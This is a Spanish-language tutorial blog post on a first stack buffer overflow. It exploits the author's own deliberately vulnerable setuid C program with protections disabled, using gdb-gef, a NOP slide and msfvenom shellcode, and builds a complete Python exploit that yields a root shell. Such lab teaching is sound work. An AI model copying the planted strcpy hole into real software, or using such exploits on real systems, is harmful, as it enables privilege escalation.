# Binary Exploitation (2) - My First Buffer Overflow

## ¿Que es un Buffer Overflow?

O conocido en español como: *Desbordamiento de Buffer*. En principio podemos decir que se distinguen dos tipos primarios de buffer overflow; estos son los desbordamientos de buffer basados en la pila (**STACK)** y los desbordamientos de buffer basados en el montón (**HEAP**).

Un desbordamiento de buffer ocurre cuando un programa intenta llenar un bloque de memoria (un buffer de memoria) con más datos de los que este debería contener. Los BoF son vulnerabilidades comunes en aplicaciones de software que se pueden explotar para lograr la ejecución de código remoto (RCE) o realizar por ejemplo un ataque de Denegación de Servicio (DoS).

  

## Nuestro programa vulnerable: b0fMe.c

```bash
// Simple BufferOverflow <shkz>

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void myfunc(char *pwn){
    char buffer[250];
    strcpy(buffer,pwn);
    setuid(0);
    printf("No sos un buen hacker\n");}
int main(int argc, char *argv[]){
    if(argc <2) {
    printf("Usage: ./b0fMe <input>\n");
    exit(1);
    }
    myfunc(argv[1]);
    return 0;
}
```

## ¿Porque es vulnerable?.

En la función , se declara buffer con un tamaño fijo de 250 bytes. Sin embargo, el programa no verifica si los datos proporcionados en el argumento pwn exceden ese tamaño.

Luego el programa utiliza la función para copiar la cadena de caracteres desde pwn al buffer. no realiza comprobaciones de límites y simplemente copia datos ciegamente haciendo que sobrescriba la memoria adyacente a buffer.

Y como extra, le pusimos un setuid(0); para que la shell que nos de tenga permisos de root.

## Deshabilitando las protecciones

En este primer binario vamos a deshabilitar todas las protecciones, y luego a medida que vaya publicando nuevos textos ire habilitandolas e iremos tratando bypassearlas una por una.

## Deshabilitar ASLR

Mas adelante explicare que es esto en profundidad, pero en principio quedarse con el concepto de que Address Space Layout Randomization es una técnica de seguridad que intenta dificultar la explotación del binario agregando una aleatoriedad a las direcciones de memoria que se cambian cada vez que inicia el programa y así hacer mas impredecible la explotación del mismo.  
Por default en mi caso de Arch el valor esta en: 2, vamos a deshabilitar con 0.  
(Al reiniciar el sistema, esto se restablecerá. Para hacerlo permanente tienen que hacerlo via sysctl)  

```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

## Compilando con GCC: Deshabilitando CANARY, NX, PIE.

Como es un código en C, tenemos que compilarlo y para esto lo haremos del siguiente modo deshabilitando algunas protecciones al mismo:

Primero compilaremos esto como **ROOT**, con las siguientes flags deshabilitamos protecciones y con -g le decimos que adjunte el source code para mayor claridad al momento de debuggear:

  

```bash
gcc -no-pie -fno-stack-protector b0fMe.c -o b0fMe -D_FORTIFY_SOURCE=0 -g -z execstack
chmod +s ./b0fMe
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912396314/75a92ffb-b4da-4b96-9eb5-41d60bf8a674.png align="center")

## Ejecutando nuestro binario vulnerable: b0fMe

Este binario se enfoca simplemente en el bof. No tiene mucho por hacer. Mas que un mensaje desafiante de respuesta:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912409930/ebf7099e-29a3-4665-b589-ecc1b566a20c.png align="center")

## Haciendo BoF desde el INPUT

Algo muy practico y rápido es ejecutar el binario e invocar la ayuda de python o perl para imprimir bytes rápidamente y testear el buffer. Testeamos con 300 bytes:

```bash
./b0fMe $(python3 -c 'print ("A" * 300)')
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912430742/36873b7e-2240-4083-b937-573f442054be.png align="center")

  

Como vemos logramos el Segmentation Fault. En pocas palabras, desbordamos el buffer. Algo lógico conociendo la capacidad que este tenia.

## ¿Que es un Segmentation Fault?

Un fallo de segmentación (de ahora en mas: segfault) es una condición común que causa que los programas se bloqueen o se detengan. Generalmente ocurre cuando el programa intenta acceder/escribir a una posición de memoria a la que no está permitido.

## ¿Como vamos a explotar este binario?

Para explotar este BoF optaremos por pensar en lo siguiente:

* Detectar con cuantos Bytes se rompe el programa, el cual nos permitirá sobrescribir el registro RBP.
    
* Crear alguna shellcode que nos permita luego ejecutar /bin/sh
    
* Cambiar el flujo del programa con el registro RIP para que apunte a nuestra shellcode.
    
* Al explotar finalmente, seremos obtendremos shell como root.
    

## Usando gdb-gef para debuggear el binario

Voy a usar GDB con algunos auxiliares para reversing y explotacion de binarios. En este link pueden ver cuales recomiendo y como configure dichos complementos:

[https://myhack.tech/blog/complementos-de-reversing-y-exploiting-para-gdb/](https://myhack.tech/blog/complementos-de-reversing-y-exploiting-para-gdb/)

  

* gdb-gef
    
* gdb-pwndbg
    
* gdb-peda
    

Ejecutamos gdb-gef para depurar el binario:

```bash
gdb-gef -q ./b0fMe
```

Dentro de gdb-gef, podemos utilizar una función llamada **pattern create** para generar un patron de caracteres del siguiente modo:

```bash
pattern create 300
```

Al igual que hicimos con el oneline de python, con esta función generamos un patron de caracteres que nos va a permitir identificar de forma mas fácil cuando desborda y sobrescribe el registro RBP.

Cuando creamos un pattern, este se genera con un nombre predefinido, en este caso: “$\_gef1”:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912516926/6e551cad-228e-4167-8fa3-4aadaefce7e4.webp align="center")

A continuación corremos el binario y le pasamos el payload creado como input:

```bash
gef run $_gef1
```

Vemos que GDB nos informa que termino el programa en segfault, justo en la función vulnerable que es donde se encuentra el buffer:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912534907/f9e857d3-2050-48c4-9ff8-3d1b2cff1df4.png align="center")

Si ahora miramos el valor de los registros, vamos a ver lo siguiente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912552753/fff9463a-2dd1-4953-b86e-a396a20db409.png align="center")

$rbp contiene parte del patron enviado en el payload, y este nos puede ser util para localizar el offset con la siguiente función: `pattern search haaaaaab`:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912561885/696907bb-4b30-4669-be7e-92ca80147b24.png align="center")

Bien, nos hacemos la idea de que vamos a necesitar enviar **256 bytes** para sobrescribir **RBP**, luego los próximos **8 bytes** son dedicados al **SFP** (Stack Frame Pointer | Marco de Pila) y finalmente **6 bytes mas** para controlar **RIP**.

Vamos a ejemplificar esto ultimo para entenderlo mejor. Ejecutemos el siguiente payload y comprobemos si es acertada nuestra idea o no, si todo sale bien, deberíamos tener el control de **RIP**:

```bash
r $(perl -e 'print "A"x256')BBBBBBBBCCCCCC
```

Ahora si miramos los registros:

```bash
i r rbp rip
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912586200/b5ec7c97-a488-4e1b-8d68-4614576237a2.png align="center")

Vemos que **$rbp** fue modificado con los **8 bytes** que le enviamos de la letra **B** (0x42) y luego el registro instruction pointer $rip fue modificado a los **6 bytes** de la letra **C** (0x43).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912601958/85207502-f5d4-4c36-9742-3aef2df9c2a7.png align="center")

Como vimos, <mark>$rip</mark> apunta a <mark>0x434343434343</mark>, por eso es que gdb lo marca con un ??, al no ser una dirección real.

En resumen, con esto sabemos que podemos hacer un BoF, modificar el rbp y controlar rip. Entonces solo queda craftear una Shellcode para explotar el binario y obtener una /bin/sh, y como controlamos RIP apuntara a nuestra shellcode.

## NOP Slide

Es una técnica muy vieja y conocida. Se basa en generar una secuencia de instrucciones NOP (No-Operation) donde se redirige la ejecución del programa cuando un objetivo de una instrucción no se conoce exactamente.

Cuando escribimos un exploit para aprovechar alguna vulnerabilidad en un programa, es esencial pensar que dicho programa puede ser compilado en diversos entornos, resultando en direcciones de memoria distintas.

Para encarar este problema, se recurre a una técnica llamada NOP slide, que implica dirigir la ejecución del programa hacia una región de memoria llenas de instrucciones NOP. La instrucción NOP en lenguaje ensamblador está diseñada para no hacer nada básicamente.

Entonces en nuestro ejemplo, cuando creamos el exploit la dirección de retorno apuntara hacia algunas direcciones de las instrucciones NOP que les enviamos al buffer, permitiendo que la ejecución continúe directamente hasta el inicio del shellcode sin ningún problema. De este modo no necesitaríamos con exactitud saber la direccion de donde comienza nuestra shellcode.

Para determinar cuántas instrucciones NOP necesitamos, se realiza un cálculo restando la longitud de nuestro shellcode al tamaño total del buffer.

  

## Creando nuestra shellcode con MSFVENOM.

Una shellcode es un fragmento de código de instrucciones en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack)  
de ejecución de un programa para conseguir que la máquina en la que reside se  
ejecute la operación que se haya programado. Por ejemplo aprovechar para realizar acciones específicas, como en este caso, obtener una shell (/bin/sh) u otorgarle SUID Root.

En esta ocasión vamos a generar un shellcode con MSFVENOM. Sin profundizar mucho en esta ocasion, ya luego veremos sobre la creación de shellcodes, eliminación de badchars, etc etc. De momento para este caso, lo creo del siguiente modo:

```bash
msfvenom -p linux/x64/exec --platform linux -f c -b '\x00\x09\x0a\x20\x0d'
```

Una vez que tenemos nuestra shellcode. Vamos a crear un pequeño script en python llamado “[**exploit.py**](http://exploit.py)“. Iremos haciéndolo paso a paso.

## Creacion del exploit: [exploit.py](http://exploit.py)

1. ### Escribiendo la shellcode
    

Lo primero que debería tener este template del PoC es la shellcode, ya que es lo primero asegurado que tenemos:

```bash
import sys

# Shellcode -- /bin/sh @ msfvenom

shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";
```

2. ### Escribimos NOPs y calculamos espacio para la shellcode
    

Luego creamos una secuencia de NOPs (‘\\x90’) con una longitud de 256 bytes (valor de buffer) menos la longitud del shellcode, de este modo nos aseguramos espacio para nuestra shellcode en buffer.

```bash
nop = b"\x90"*(256-len(shellcode))
```

3. #### Generamos 8 NOPs mas para sobreescribir RBP
    

```bash
rbp = b"\x90"*8
```

## Nuestro PoC parcial quedaria asi:

```bash
import sys

# Shellcode -- /bin/sh @ msfvenom
shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";

# Set values
nop = b"\x90"*(256-len(shellcode))
rbp = b"\x90"*8

sys.stdout.buffer.write(nop+shellcode+rbp)
```

Con ***sys.stdout.buffer.write*** es una forma de escribir bytes directamente en el buffer de salida estándar (stdout) y no realiza ninguna codificación de caracteres.  
Esto no agrega el carácter de nueva línea \\n al final.

Lo ultimo que nos quedaria es darle una direccion a RIP para que apunte a la zona de nuestra shellcode. Pero primero ejecutemos nuestro PoC parcial y verifiquemos:

```bash
python3 exploit.py >exploit
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912791080/3a1dead3-07ba-42e4-b645-8cf0898bf3a3.png align="center")

Así seria el contenido del archivo generado por nuestro [EXPLOIT.PY](http://EXPLOIT.PY) hacia un archivo llamado exploit.  
Ahí podemos ver la cantidad de los NOPs inundando el BUFFER y luego nuestra shellcode al final + los últimos 8 bytes de NOPs para sobrescribir RBP.

Volvemos a ejecutar el binario con gdb:

```bash
gdb-gef -q ./b0fMe
```

Ahora seteamos un breakpoint en main y luego ejecutamos nuestro exploit parcial:

```bash
b main 
r $(cat exploit)
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912818990/ad6c82e5-0a9d-4269-853c-b4464626e1e7.png align="center")

Para en nuestro breakpoint de MAIN. Ahora setearemos un breakpoint en el ultimo RET de la función vulnerable “myfunc”, justo antes de que se produzca el segmentation fault:

```bash
disassemble myfunc
b *0x000000000040119c
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912838522/40505f54-61ce-4ef8-85b4-3cd45a8176d9.png align="center")

Volvemos a apretar “c” para continuar la ejecución del binario y parara en nuestro breakpoint de “myfunc”:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912849733/892a7af2-1177-4035-9c31-d2ba97bdbf3e.png align="center")

Si hacemos un info register de RBP nos muestra lo siguiente:

```bash
i r rbp
rbp            0x9090909090909090  0x9090909090909090
```

Significa que logramos NOPear el RBP, y si ahora examinamos varias direcciones de memoria a partir de la direccion almacenada en el registro del stack pointer ($rsp) y lo mostramos en hexadecimal veremos lo siguiente:

```bash
x/180xg $rsp
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753912874930/d1d3b651-ae1a-436d-8b8d-47455e65db6d.png align="center")

Como vemos ahí están todos nuestros Nops inundando y nuestra shellcode.  
Bien solo restaría setear alguna de esas direcciones donde están los NOps para que cuando ingrese a esa zona, aprovechemos el Nop-slide y fluya hasta ejecutar nuestra shellcode. Para este ejemplo elegiré la siguiente direccion y la pondré la seteo en el exploit: `0x7fffffffe8c8`

Para setearla en el exploit tenemos que setearla del modo inverso ya que el CPU lo entiende en Little-Endian (mas adelante mostrare que hay formas con python con struct, y alternativas para ponerlas directamente, pero de momento la ponemos asi):

```bash
ret = b"\xc8\xe8\xff\xff\xff\x7f"
```

Finalmente generamos nuestro payload y concatenamos todo lo que tenemos:

```bash
sys.stdout.buffer.write(nop+shellcode+rbp+rip)
```

# Final Exploit: ([exploity.py](http://exploity.py))

```bash
import sys

# Shellcode -- /bin/sh @ msfvenom
# shkz 

shellcode = b"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"
shellcode += b"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"
shellcode += b"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"
shellcode += b"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"
shellcode += b"\xc0\xa3\x94\xfb\x95\x0c\x70";

# Set values

nop = b"\x90"*(256-len(shellcode))
rbp = b"\x90"*8
ret = b"\xb8\xe8\xff\xff\xff\x7f"

# Crafting Pwned

sys.stdout.buffer.write(nop+shellcode+rbp+ret)
```

* #### Generamos el exploit:
    

```bash
python3 exploit.py >exploit
```

Y si lo ejecutamos:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753913008681/633e63bd-037e-444b-b4ae-101fbdab8489.png align="center")

**Somos root** 😀

Por ultimo, si analizamos el exploit en el gdb, repitiendo los pasos de antes, poniendo un breakpoint en Main y luego en el RET de myfunc:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753913018806/56998ee2-d3e0-40a2-873d-c982904567b5.webp align="center")

Finalmente si examinamos el memory layout:

```bash
x/180xg $rsp
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753913033040/daf689a0-d820-4063-8cd0-2392d01543e1.webp align="center")

Hasta el próximo paper donde empezare a activar las protecciones.  
Muchas gracias.

---

#### References:

> [http://ref.x86asm.net/coder64.html](http://ref.x86asm.net/coder64.html)  
> [https://en.wikipedia.org/wiki/Assembly\_language](https://en.wikipedia.org/wiki/Assembly_language)  
> [https://valsmaras.medium.com/](https://valsmaras.medium.com/)  
> [https://www.amazon.co.uk/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441](https://www.amazon.co.uk/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441)  
> [https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/](https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is-on-x86/)  
> [https://en.wikipedia.org/wiki/NOP\_slide](https://en.wikipedia.org/wiki/NOP_slide)  
> [https://es.wikipedia.org/wiki/Endianness](https://es.wikipedia.org/wiki/Endianness)
